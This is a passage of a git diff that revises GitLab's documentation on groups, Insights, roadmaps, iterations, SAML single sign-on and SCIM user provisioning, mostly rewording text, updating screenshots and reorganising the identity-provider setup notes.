@@ -638,6 +636,7 @@ The group's new subgroups have push rules set for them based on either:
## Related topics
+- [Group wikis](../project/wiki/index.md)
- [Maximum artifacts size](../admin_area/settings/continuous_integration.md#maximum-artifacts-size). **(FREE SELF)**
- [Repositories analytics](repositories_analytics/index.md): View overall activity of all projects with code coverage. **(PREMIUM)**
- [Contribution analytics](contribution_analytics/index.md): View the contributions (pushes, merge requests,
@@ -662,3 +661,15 @@ The group's new subgroups have push rules set for them based on either:
- [Lock the sharing with group feature](#prevent-a-project-from-being-shared-with-groups).
- [Enforce two-factor authentication (2FA)](../../security/two_factor_authentication.md#enforcing-2fa-for-all-users-in-a-group): Enforce 2FA
for all group members.
+
+## Troubleshooting
+
+### Verify if access is blocked by IP restriction
+
+If a user sees a 404 when they would normally expect access, and the problem is limited to a specific group, search the `auth.log` rails log for one or more of the following:
+
+- `json.message`: `'Attempting to access IP restricted group'`
+- `json.allowed`: `false`
+
+In viewing the log entries, compare the `remote.ip` with the list of
+[allowed IPs](#restrict-group-access-by-ip-address) for the group.
diff --git a/doc/user/group/insights/img/insights_example_stacked_bar_chart.png b/doc/user/group/insights/img/insights_example_stacked_bar_chart.png
deleted file mode 100644
index 0e338b99e4c..00000000000
--- a/doc/user/group/insights/img/insights_example_stacked_bar_chart.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/insights/img/insights_example_stacked_bar_chart_v13_11.png b/doc/user/group/insights/img/insights_example_stacked_bar_chart_v13_11.png
new file mode 100644
index 00000000000..1ef49191a13
--- /dev/null
+++ b/doc/user/group/insights/img/insights_example_stacked_bar_chart_v13_11.png
Binary files differ
diff --git a/doc/user/group/insights/img/insights_sidebar_link_v12_8.png b/doc/user/group/insights/img/insights_sidebar_link_v12_8.png
deleted file mode 100644
index 9a6d6bae766..00000000000
--- a/doc/user/group/insights/img/insights_sidebar_link_v12_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/insights/index.md b/doc/user/group/insights/index.md
index b559e6806e9..4975b27a66d 100644
--- a/doc/user/group/insights/index.md
+++ b/doc/user/group/insights/index.md
@@ -13,14 +13,12 @@ Configure the Insights that matter for your groups to explore data such as
triage hygiene, issues created/closed per a given period, average time for merge
requests to be merged and much more.
-![Insights example stacked bar chart](img/insights_example_stacked_bar_chart.png)
+![Insights example stacked bar chart](img/insights_example_stacked_bar_chart_v13_11.png)
## View your group's Insights
You can access your group's Insights by clicking the **Analytics > Insights**
-link in the left sidebar:
-
-![Insights sidebar link](img/insights_sidebar_link_v12_8.png)
+link in the left sidebar.
## Configure your Insights
diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md
index 8e125a0cc6e..38d209f04ca 100644
--- a/doc/user/group/iterations/index.md
+++ b/doc/user/group/iterations/index.md
@@ -8,11 +8,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Iterations **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214713) in GitLab 13.1.
-> - It was deployed behind a feature flag, disabled by default.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) on GitLab 13.2.
-> - It's enabled on GitLab.com.
-> - It's able to be enabled or disabled per-group.
-> - It's recommended for production use.
+> - Deployed behind a feature flag, disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) in GitLab 13.2.
+> - Enabled on GitLab.com.
+> - Able to be enabled or disabled per-group.
+> - Recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations). **(PREMIUM ONLY)**
> - Moved to GitLab Premium in 13.9.
diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md
index 42522723047..ef47ceadd88 100644
--- a/doc/user/group/repositories_analytics/index.md
+++ b/doc/user/group/repositories_analytics/index.md
@@ -69,7 +69,7 @@ For each day that a coverage report was generated by a job in a project's pipeli
If the project's code coverage was calculated more than once in a day, we will take the last value from that day.
NOTE:
-[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage data is taken from the configured [default branch](../../project/repository/branches/index.md#default-branch). In earlier versions, it is taken from the `master` branch.
+[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage data is taken from the configured [default branch](../../project/repository/branches/default.md). In earlier versions, it is taken from the `master` branch.
<!-- ## Troubleshooting
diff --git a/doc/user/group/roadmap/img/roadmap_filters_v13_11.png b/doc/user/group/roadmap/img/roadmap_filters_v13_11.png
new file mode 100644
index 00000000000..d2a76b4edce
--- /dev/null
+++ b/doc/user/group/roadmap/img/roadmap_filters_v13_11.png
Binary files differ
diff --git a/doc/user/group/roadmap/img/roadmap_filters_v13_8.png b/doc/user/group/roadmap/img/roadmap_filters_v13_8.png
deleted file mode 100644
index d826909b022..00000000000
--- a/doc/user/group/roadmap/img/roadmap_filters_v13_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/roadmap/index.md b/doc/user/group/roadmap/index.md
index 9b3ae75b39c..88d43715c58 100644
--- a/doc/user/group/roadmap/index.md
+++ b/doc/user/group/roadmap/index.md
@@ -42,6 +42,7 @@ toggle the list of the milestone bars.
> - Filtering roadmaps by milestone is recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-filtering-roadmaps-by-milestone). **(PREMIUM SELF)**
> - Filtering by epic confidentiality [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218624) in GitLab 13.9.
+> - Filtering by epic [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218623) in GitLab 13.11.
WARNING:
Filtering roadmaps by milestone might not be available to you. Check the **version history** note above for details.
@@ -69,8 +70,10 @@ You can also filter epics in the Roadmap view by the epics':
- Label
- Milestone
- Confidentiality
+- Epic
+- Your Reaction
-![roadmap date range in weeks](img/roadmap_filters_v13_8.png)
+![roadmap date range in weeks](img/roadmap_filters_v13_11.png)
Roadmaps can also be [visualized inside an epic](../epics/index.md#roadmap-in-epics).
diff --git a/doc/user/group/saml_sso/group_managed_accounts.md b/doc/user/group/saml_sso/group_managed_accounts.md
index 9f2cafd456b..a9b1901bc8c 100644
--- a/doc/user/group/saml_sso/group_managed_accounts.md
+++ b/doc/user/group/saml_sso/group_managed_accounts.md
@@ -84,6 +84,16 @@ To access the Credentials inventory of a group, navigate to **{shield}** **Secur
This feature is similar to the [Credentials inventory for self-managed instances](../../admin_area/credentials_inventory.md).
+### Revoke a group-managed account's personal access token
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214811) in GitLab 13.5.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267184) in GitLab 13.10.
+
+Group owners can revoke the personal access tokens of accounts in their group. To do so, select
+the Personal Access Tokens tab, and select Revoke.
+
+When a personal access token is revoked, the group-managed account user is notified by email.
+
## Limiting lifetime of personal access tokens of users in Group-managed accounts **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118893) in GitLab 12.10.
diff --git a/doc/user/group/saml_sso/img/scim_name_identifier_mapping.png b/doc/user/group/saml_sso/img/scim_name_identifier_mapping.png
deleted file mode 100644
index f9c63970f16..00000000000
--- a/doc/user/group/saml_sso/img/scim_name_identifier_mapping.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/saml_sso/img/scim_provisioning_status.png b/doc/user/group/saml_sso/img/scim_provisioning_status.png
deleted file mode 100644
index 41466ec9276..00000000000
--- a/doc/user/group/saml_sso/img/scim_provisioning_status.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md
index 004efe7b244..f2f28046443 100644
--- a/doc/user/group/saml_sso/index.md
+++ b/doc/user/group/saml_sso/index.md
@@ -10,24 +10,28 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> Introduced in GitLab 11.0.
This page describes SAML for Groups. For instance-wide SAML on self-managed GitLab instances, see [SAML OmniAuth Provider](../../../integration/saml.md).
+[View the differences between SaaS and Self-Managed Authentication and Authorization Options](../../../administration/auth/README.md#saas-vs-self-managed-comparison).
SAML on GitLab.com allows users to sign in through their SAML identity provider. If the user is not already a member, the sign-in process automatically adds the user to the appropriate group.
-If you follow our guidance to automate user provisioning using [SCIM](scim_setup.md) or [group-managed accounts](group_managed_accounts.md), you do not need to create such accounts manually.
-
-User synchronization of SAML SSO groups is supported through [SCIM](scim_setup.md). SCIM supports adding and removing users from the GitLab group.
+User synchronization of SAML SSO groups is supported through [SCIM](scim_setup.md). SCIM supports adding and removing users from the GitLab group automatically.
For example, if you remove a user from the SCIM app, SCIM removes that same user from the GitLab group.
SAML SSO is only configurable at the top-level group.
-## Configuring your Identity Provider
+If required, you can find [a glossary of common terms](../../../integration/saml.md#glossary-of-common-terms).
-1. Navigate to the group and select **Settings > SAML SSO**.
-1. Configure your SAML server using the **Assertion consumer service URL**, **Identifier**, and **GitLab single sign-on URL**. Alternatively GitLab provides [metadata XML configuration](#metadata-configuration). See [specific identity provider documentation](#providers) for more details.
+## Configuring your identity provider
+
+1. Navigate to the GitLab group and select **Settings > SAML SSO**.
+1. Configure your SAML identity provider using the **Assertion consumer service URL**, **Identifier**, and **GitLab single sign-on URL**.
+ Alternatively GitLab provides [metadata XML configuration](#metadata-configuration).
+ See [specific identity provider documentation](#providers) for more details.
1. Configure the SAML response to include a NameID that uniquely identifies each user.
1. Configure [required assertions](#assertions) at minimum containing
the user's email address.
-1. While the default is enabled for most SAML providers, please ensure the app is set to have [Service Provider](#glossary) initiated calls in order to link existing GitLab accounts.
+1. While the default is enabled for most SAML providers, please ensure the app is set to have service provider
+ initiated calls in order to link existing GitLab accounts.
1. Once the identity provider is set up, move on to [configuring GitLab](#configuring-gitlab).
![Issuer and callback for configuring SAML identity provider with GitLab.com](img/group_saml_configuration_information.png)
@@ -57,30 +61,25 @@ We recommend setting the NameID format to `Persistent` unless using a field (suc
### Assertions
For users to be created with the right information with the improved [user access and management](#user-access-and-management),
-the following user details need to be passed to GitLab as SAML assertions.
+the user details need to be passed to GitLab as SAML assertions.
-| Field | Supported keys |
-|-----------------|----------------|
-| Email (required)| `email`, `mail` |
-| Username | `username`, `nickname` |
-| Full Name | `name` |
-| First Name | `first_name`, `firstname`, `firstName` |
-| Last Name | `last_name`, `lastname`, `lastName` |
+At a minimum, the user's email address *must* be specified as an assertion named `email` or `mail`.
+See [the assertions list](../../../integration/saml.md#assertions) for other available claims.
### Metadata configuration
-GitLab provides metadata XML that can be used to configure your Identity Provider.
+GitLab provides metadata XML that can be used to configure your identity provider.
1. Navigate to the group and select **Settings > SAML SSO**.
1. Copy the provided **GitLab metadata URL**.
-1. Follow your Identity Provider's documentation and paste the metadata URL when it's requested.
+1. Follow your identity provider's documentation and paste the metadata URL when it's requested.
## Configuring GitLab
After you set up your identity provider to work with GitLab, you must configure GitLab to use it for authentication:
1. Navigate to the group's **Settings > SAML SSO**.
-1. Find the SSO URL from your Identity Provider and enter it the **Identity provider single sign-on URL** field.
+1. Find the SSO URL from your identity provider and enter it the **Identity provider single sign-on URL** field.
1. Find and enter the fingerprint for the SAML token signing certificate in the **Certificate** field.
1. Select the access level to be applied to newly added users in the **Default membership role** field. The default access level is 'Guest'.
1. Select the **Enable SAML authentication for this group** toggle switch.
@@ -89,7 +88,7 @@ After you set up your identity provider to work with GitLab, you must configure
![Group SAML Settings for GitLab.com](img/group_saml_settings_v13_3.png)
NOTE:
-Please note that the certificate [fingerprint algorithm](#additional-providers-and-setup-options) must be in SHA1. When configuring the identity provider, use a secure signature algorithm.
+Please note that the certificate [fingerprint algorithm](../../../integration/saml.md#notes-on-configuring-your-identity-provider) must be in SHA1. When configuring the identity provider, use a secure signature algorithm.
### SSO enforcement
@@ -97,32 +96,42 @@ Please note that the certificate [fingerprint algorithm](#additional-providers-a
- [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9255) in GitLab 11.11 with ongoing enforcement in the GitLab UI.
- [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/292811) in GitLab 13.8, with an updated timeout experience.
- [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/211962) in GitLab 13.8 with allowing group owners to not go through SSO.
+- [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9152) in GitLab 13.11 with enforcing open SSO session to use Git if this setting is switched on.
-With this option enabled, users must go through your group's GitLab single sign-on URL. They may also be added via SCIM, if configured. Users can't be added manually, and may only access project/group resources via the UI by signing in through the SSO URL.
+With this option enabled, users (except owners) must go through your group's GitLab single sign-on URL if they wish to access group resources through the UI. Users can't be manually added as members.
+
+SSO enforcement does not affect sign in or access to any resources outside of the group. Users can view which groups and projects they are a member of without SSO sign in.
However, users are not prompted to sign in through SSO on each visit. GitLab checks whether a user
has authenticated through SSO. If it's been more than 1 day since the last sign-in, GitLab
prompts the user to sign in again through SSO.
-We intend to add a similar SSO requirement for [Git and API activity](https://gitlab.com/gitlab-org/gitlab/-/issues/9152).
+We intend to add a similar SSO requirement for [API activity](https://gitlab.com/gitlab-org/gitlab/-/issues/9152).
-When SSO enforcement is enabled for a group, users can't share a project in the group outside the top-level group, even if the project is forked.
+SSO has the following effects when enabled:
-## Providers
+- For groups, users can't share a project in the group outside the top-level group,
+ even if the project is forked.
+- For a Git activity, users must be signed-in through SSO before they can push to or
+ pull from a GitLab repository.
+<!-- Add bullet for API activity when https://gitlab.com/gitlab-org/gitlab/-/issues/9152 is complete -->
-NOTE:
-GitLab is unable to provide full support for integrating identity providers that are not listed here.
+## Providers
-| Provider | Documentation |
-|----------|---------------|
-| Azure | [Configuring single sign-on to applications](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/view-applications-portal) |
-| Okta | [Setting up a SAML application in Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/overview/) |
-| OneLogin | [Use the OneLogin SAML Test Connector](https://onelogin.service-now.com/support?id=kb_article&sys_id=93f95543db109700d5505eea4b96198f) |
+The SAML standard means that a wide range of identity providers will work with GitLab. Your identity provider may have relevant documentation. It may be generic SAML documentation, or specifically targeted for GitLab.
When [configuring your identity provider](#configuring-your-identity-provider), please consider the notes below for specific providers to help avoid common issues and as a guide for terminology used.
+For providers not listed below, you can refer to the [instance SAML notes on configuring an identity provider](../../../integration/saml.md#notes-on-configuring-your-identity-provider)
+for additional guidance on information your identity provider may require.
+
+Please note that GitLab provides the following for guidance only.
+If you have any questions on configuring the SAML app, please contact your provider's support.
+
### Azure setup notes
+Please follow the Azure documentation on [configuring single sign-on to applications](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/view-applications-portal) with the notes below for consideration.
+
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For a demo of the Azure SAML setup including SCIM, see [SCIM Provisioning on Azure Using SAML SSO for Groups Demo](https://youtu.be/24-ZxmTeEBU). Please note that the video is outdated in regard to
objectID mapping and the [SCIM documentation should be followed](scim_setup.md#azure-configuration-steps).
@@ -142,6 +151,8 @@ We recommend:
### Okta setup notes
+Please follow the Okta documentation on [setting up a SAML application in Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/overview/) with the notes below for consideration.
+
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For a demo of the Okta SAML setup including SCIM, see [Demo: Okta Group SAML & SCIM setup](https://youtu.be/0ES9HsZq0AQ).
@@ -165,7 +176,7 @@ OneLogin supports their own [GitLab (SaaS)](https://onelogin.service-now.com/sup
application.
If you decide to use the OneLogin generic [SAML Test Connector (Advanced)](https://onelogin.service-now.com/support?id=kb_article&sys_id=b2c19353dbde7b8024c780c74b9619fb&kb_category=93e869b0db185340d5505eea4b961934),
-we recommend the following settings:
+we recommend the ["Use the OneLogin SAML Test Connector" documentation](https://onelogin.service-now.com/support?id=kb_article&sys_id=93f95543db109700d5505eea4b96198f) with the following settings:
| GitLab Setting | OneLogin Field |
|--------------|----------------|
@@ -178,40 +189,6 @@ we recommend the following settings:
Recommended `NameID` value: `OneLogin ID`.
-### Additional providers and setup options
-
-The SAML standard means that a wide range of identity providers will work with GitLab. Unfortunately we have not verified connections with all SAML providers.
-For more information, see our [discussion on providers](#providers).
-
-Your identity provider may have relevant documentation. It may be generic SAML documentation, or specifically targeted for GitLab. Examples:
-
-- [ADFS (Active Directory Federation Services)](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/operations/create-a-relying-party-trust)
-- [Auth0](https://auth0.com/docs/protocols/saml-protocol/configure-auth0-as-saml-identity-provider)
-- [Google Workspace](https://support.google.com/a/answer/6087519?hl=en)
-- [JumpCloud](https://support.jumpcloud.com/support/s/article/single-sign-on-sso-with-gitlab-2019-08-21-10-36-47)
-- [PingOne by Ping Identity](https://docs.pingidentity.com/bundle/pingone/page/xsh1564020480660-1.html)
-
-Your Identity Provider may require additional configuration, such as the following:
-
-| Field | Value | Notes |
-|-------|-------|-------|
-| SAML Profile | Web browser SSO profile | GitLab uses SAML to sign users in via their browser. We don't make requests direct to the Identity Provider. |
-| SAML Request Binding | HTTP Redirect | GitLab (the service provider) redirects users to your Identity Provider with a base64 encoded `SAMLRequest` HTTP parameter. |
-| SAML Response Binding | HTTP POST | Your Identity Provider responds to users with an HTTP form including the `SAMLResponse`, which a user's browser submits back to GitLab. |
-| Sign SAML Response | Yes | We require this to prevent tampering. |
-| X.509 Certificate in response | Yes | This is used to sign the response and checked against the provided fingerprint. |
-| Fingerprint Algorithm | SHA-1 | We need a SHA-1 hash of the certificate used to sign the SAML Response. |
-| Signature Algorithm | SHA-1/SHA-256/SHA-384/SHA-512 | Also known as the Digest Method, this can be specified in the SAML response. It determines how a response is signed. |
-| Encrypt SAML Assertion | No | TLS is used between your Identity Provider, the user's browser, and GitLab. |
-| Sign SAML Assertion | Optional | We don't require Assertions to be signed. We validate their integrity by requiring the whole response to be signed. |
-| Check SAML Request Signature | No | GitLab does not sign SAML requests, but does check the signature on the SAML response. |
-| Default RelayState | Optional | The URL users should end up on after signing in via a button on your Identity Provider. |
-| NameID Format | `Persistent` | See [details above](#nameid-format). |
-| Additional URLs | | You may need to use the `Identifier` or `Assertion consumer service URL` in other fields on some providers. |
-| Single Sign Out URL | | Not supported |
-
-If the information you need isn't listed above you may wish to check our [troubleshooting docs below](#i-need-additional-information-to-configure-my-identity-provider).
-
## User access and management
> [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/268142) in GitLab 13.7.
@@ -231,9 +208,9 @@ When a user tries to sign in with Group SSO, GitLab attempts to find or create a
To link SAML to your existing GitLab.com account:
1. Sign in to your GitLab.com account.
-1. Locate and visit the **GitLab single sign-on URL** for the group you're signing in to. A group owner can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider.
+1. Locate and visit the **GitLab single sign-on URL** for the group you're signing in to. A group owner can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the identity provider.
1. Select **Authorize**.
-1. Enter your credentials on the Identity Provider if prompted.
+1. Enter your credentials on the identity provider if prompted.
1. You are then redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com.
On subsequent visits, you should be able to go [sign in to GitLab.com with SAML](#signing-in-to-gitlabcom-with-saml) or by visiting links directly. If the **enforce SSO** option is turned on, you are then redirected to sign in through the identity provider.
@@ -369,18 +346,6 @@ Users who are not members of any mapped SAML groups are removed from the GitLab
You can prevent accidental member removal. For example, if you have a SAML group link for `Owner` level access
in a top-level group, you should also set up a group link for all other members.
-## Glossary
-
-| Term | Description |
-|------|-------------|
-| Identity Provider | The service which manages your user identities such as ADFS, Okta, OneLogin, or Ping Identity. |
-| Service Provider | SAML considers GitLab to be a service provider. |
-| Assertion | A piece of information about a user's identity, such as their name or role. Also known as claims or attributes. |
-| SSO | Single Sign On. |
-| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the identity provider. |
-| Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". |
-| Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. |
-
## Passwords for users created via SAML SSO for Groups
The [Generated passwords for users created through integrated authentication](../../../security/passwords_for_integrated_authentication_methods.md) guide provides an overview of how GitLab generates and sets passwords for users created via SAML SSO for Groups.
@@ -412,7 +377,7 @@ In troubleshooting the Group SAML setup, any authenticated user can use the API
Similarly, group members of a role with the appropriate permissions can make use of the [members API](../../../api/members.md) to view group SAML identity information for members of the group.
-This can then be compared to the [NameID](#nameid) being sent by the Identity Provider by decoding the message with a [SAML debugging tool](#saml-debugging-tools). We require that these match in order to identify users.
+This can then be compared to the [NameID](#nameid) being sent by the identity provider by decoding the message with a [SAML debugging tool](#saml-debugging-tools). We require that these match in order to identify users.
### Users receive a 404
@@ -432,7 +397,7 @@ Here are possible causes and solutions:
| Cause | Solution |
|------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| You've tried to link multiple SAML identities to the same user, for a given Identity Provider. | Change the identity that you sign in with. To do so, [unlink the previous SAML identity](#unlinking-accounts) from this GitLab account before attempting to sign in again. |
+| You've tried to link multiple SAML identities to the same user, for a given identity provider. | Change the identity that you sign in with. To do so, [unlink the previous SAML identity](#unlinking-accounts) from this GitLab account before attempting to sign in again. |
### Message: "SAML authentication failed: Email has already been taken"
@@ -442,7 +407,7 @@ Here are possible causes and solutions:
### Message: "SAML authentication failed: Extern UID has already been taken, User has already been taken"
-Getting both of these errors at the same time suggests the NameID capitalization provided by the Identity Provider didn't exactly match the previous value for that user.
+Getting both of these errors at the same time suggests the NameID capitalization provided by the identity provider didn't exactly match the previous value for that user.
This can be prevented by configuring the [NameID](#nameid) to return a consistent value. Fixing this for an individual user involves [unlinking SAML in the GitLab account](#unlinking-accounts), although this will cause group membership and to-dos to be lost.
@@ -452,8 +417,8 @@ Ensure that the user who is trying to link their GitLab account has been added a
Alternatively, the SAML response may be missing the `InResponseTo` attribute in the
`samlp:Response` tag, which is [expected by the SAML gem](https://github.com/onelogin/ruby-saml/blob/9f710c5028b069bfab4b9e2b66891e0549765af5/lib/onelogin/ruby-saml/response.rb#L307-L316).
-The [Identity Provider](#glossary) administrator should ensure that the login is
-initiated by the Service Provider (typically GitLab) and not the Identity Provider.
+The identity provider administrator should ensure that the login is
+initiated by the service provider and not the identity provider.
### Stuck in a login "loop"
@@ -469,13 +434,15 @@ Alternatively, when users need to [link SAML to their existing GitLab.com accoun
### I need to change my SAML app
-Users will need to [unlink the current SAML identity](#unlinking-accounts) and [link their identity](#user-access-and-management) to the new SAML app.
+If the NameID is identical in both SAML apps, then no change is required.
+
+Otherwise, to change the SAML app used for sign in, users need to [unlink the current SAML identity](#unlinking-accounts) and then [link their identity](#user-access-and-management) to the new SAML app.
### I need additional information to configure my identity provider
Many SAML terms can vary between providers. It is possible that the information you are looking for is listed under another name.
-For more information, start with your Identity Provider's documentation. Look for their options and examples to see how they configure SAML. This can provide hints on what you'll need to configure GitLab to work with these providers.
+For more information, start with your identity provider's documentation. Look for their options and examples to see how they configure SAML. This can provide hints on what you'll need to configure GitLab to work with these providers.
It can also help to look at our [more detailed docs for self-managed GitLab](../../../integration/saml.md).
SAML configuration for GitLab.com is mostly the same as for self-managed instances.
diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md
index 35374812b37..7bf54aea60e 100644
--- a/doc/user/group/saml_sso/scim_setup.md
+++ b/doc/user/group/saml_sso/scim_setup.md
@@ -20,7 +20,6 @@ The GitLab [SCIM API](../../../api/scim.md) implements part of [the RFC7644 prot
The following actions are available:
- Create users
-- Update users (Azure only)
- Deactivate users
The following identity providers are supported:
@@ -51,19 +50,13 @@ Once [Group Single Sign-On](index.md) has been configured, we can:
The SAML application that was created during [Single sign-on](index.md) setup for [Azure](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/view-applications-portal) now needs to be set up for SCIM.
-1. Check the configuration for your GitLab SAML app and ensure that **Name identifier value** (NameID) points to `user.objectid` or another unique identifier. This matches the `extern_uid` used on GitLab.
-
- ![Name identifier value mapping](img/scim_name_identifier_mapping.png)
-
1. Set up automatic provisioning and administrative credentials by following the
- [Provisioning users and groups to applications that support SCIM](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/use-scim-to-provision-users-and-groups#provisioning-users-and-groups-to-applications-that-support-scim) section in Azure's SCIM setup documentation.
+ [Azure's SCIM setup documentation](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/use-scim-to-provision-users-and-groups#provisioning-users-and-groups-to-applications-that-support-scim).
During this configuration, note the following:
- The `Tenant URL` and `secret token` are the ones retrieved in the
[previous step](#gitlab-configuration).
-- Should there be any problems with the availability of GitLab or similar
- errors, the notification email set gets those.
- It is recommended to set a notification email and check the **Send an email notification when a failure occurs** checkbox.
- For mappings, we will only leave `Synchronize Azure Active Directory Users to AppName` enabled.
@@ -71,42 +64,30 @@ You can then test the connection by clicking on **Test Connection**. If the conn
#### Configure attribute mapping
-1. Click on `Synchronize Azure Active Directory Users to AppName` to configure the attribute mapping.
-1. Click **Delete** next to the `mail` mapping.
-1. Map `userPrincipalName` to `emails[type eq "work"].value` and change its **Matching precedence** to `2`.
-1. Map `mailNickname` to `userName`.
-1. Determine how GitLab uniquely identifies users.
-
- - Use `objectId` unless users already have SAML linked for your group.
- - If you already have users with SAML linked then use the `Name ID` value from the [SAML configuration](#azure). Using a different value may cause duplicate users and prevent users from accessing the GitLab group.
-
-1. Create a new mapping:
- 1. Click **Add New Mapping**.
- 1. Set:
- - **Source attribute** to the unique identifier determined above, typically `objectId`.
- - **Target attribute** to `externalId`.
- - **Match objects using this attribute** to `Yes`.
- - **Matching precedence** to `1`.
+Follow [Azure documentation to configure the attribute mapping](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/customize-application-attributes).
-1. Click the `userPrincipalName` mapping and change **Match objects using this attribute** to `No`.
+The following table below provides an attribute mapping known to work with GitLab. If
+your SAML configuration differs from [the recommended SAML settings](index.md#azure-setup-notes),
+modify the corresponding `customappsso` settings accordingly. If a mapping is not listed in the
+table, use the Azure defaults.
-1. Save your changes. For reference, you can view [an example configuration in the troubleshooting reference](../../../administration/troubleshooting/group_saml_scim.md#azure-active-directory).
+| Azure Active Directory Attribute | customappsso Attribute | Matching precedence |
+| -------------------------------- | ---------------------- | -------------------- |
+| `objectId` | `externalId` | 1 |
+| `userPrincipalName` | `emails[type eq "work"].value` | |
+| `mailNickname` | `userName` | |
- NOTE:
- If you used a unique identifier **other than** `objectId`, be sure to map it to `externalId`.
+For guidance, you can view [an example configuration in the troubleshooting reference](../../../administration/troubleshooting/group_saml_scim.md#azure-active-directory).
1. Below the mapping list click on **Show advanced options > Edit attribute list for AppName**.
-
1. Ensure the `id` is the primary and required field, and `externalId` is also required.
NOTE:
`username` should neither be primary nor required as we don't support
that field on GitLab SCIM yet.
-1. Save all the screens and, in the **Provisioning** step, set
- the `Provisioning Status` to `On`.
-
- ![Provisioning status toggle switch](img/scim_provisioning_status.png)
+1. Save all changes.
+1. In the **Provisioning** step, set the `Provisioning Status` to `On`.
NOTE:
You can control what is actually synced by selecting the `Scope`. For example,
@@ -168,6 +149,10 @@ As the app is developed by OneLogin, please reach out to OneLogin if you encount
## User access and linking setup
+During the synchronization process, all of your users get GitLab accounts, welcoming them
+to their respective groups, with an invitation email. When implementing SCIM provisioning,
+you may want to warn your security-conscious employees about this email.
+
The following diagram is a general outline on what happens when you add users to your SCIM app:
```mermaid
@@ -202,10 +187,6 @@ Upon the next sync, the user is deprovisioned, which means that the user is remo
NOTE:
Deprovisioning does not delete the user account.
-During the synchronization process, all of your users get GitLab accounts, welcoming them
-to their respective groups, with an invitation email. When implementing SCIM provisioning,
-you may want to warn your security-conscious employees about this email.
-
```mermaid
graph TD
A[Remove User from SCIM app] -->|IdP sends request to GitLab| B(GitLab: Is the user part of the group?)
diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md
index 16430b49549..df0d297a82a 100644
--- a/doc/user/group/subgroups/index.md
+++ b/doc/user/group/subgroups/index.md
@@ -117,7 +117,7 @@ Follow the same process to create any subsequent groups.
## Membership
When you add a member to a group, that member is also added to all subgroups.
-Permission level is inherited from the group’s parent. This model allows access to
+Permission level is inherited from the group's parent. This model allows access to
subgroups if you have membership in one of its parents.
Jobs for pipelines in subgroups can use [runners](../../../ci/runners/README.md) registered to the parent group(s).
diff --git a/doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.png b/doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.png
index 26508787177..e2752ad1157 100644
--- a/doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.png
+++ b/doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.png b/doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.png
index 77f4a26b880..9345c4023de 100644
--- a/doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.png
+++ b/doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.png b/doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.png
index 1adb114b025..a29689a2c18 100644
--- a/doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.png
+++ b/doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/img/vsa_path_nav_v13_11.png b/doc/user/group/value_stream_analytics/img/vsa_path_nav_v13_11.png
new file mode 100644
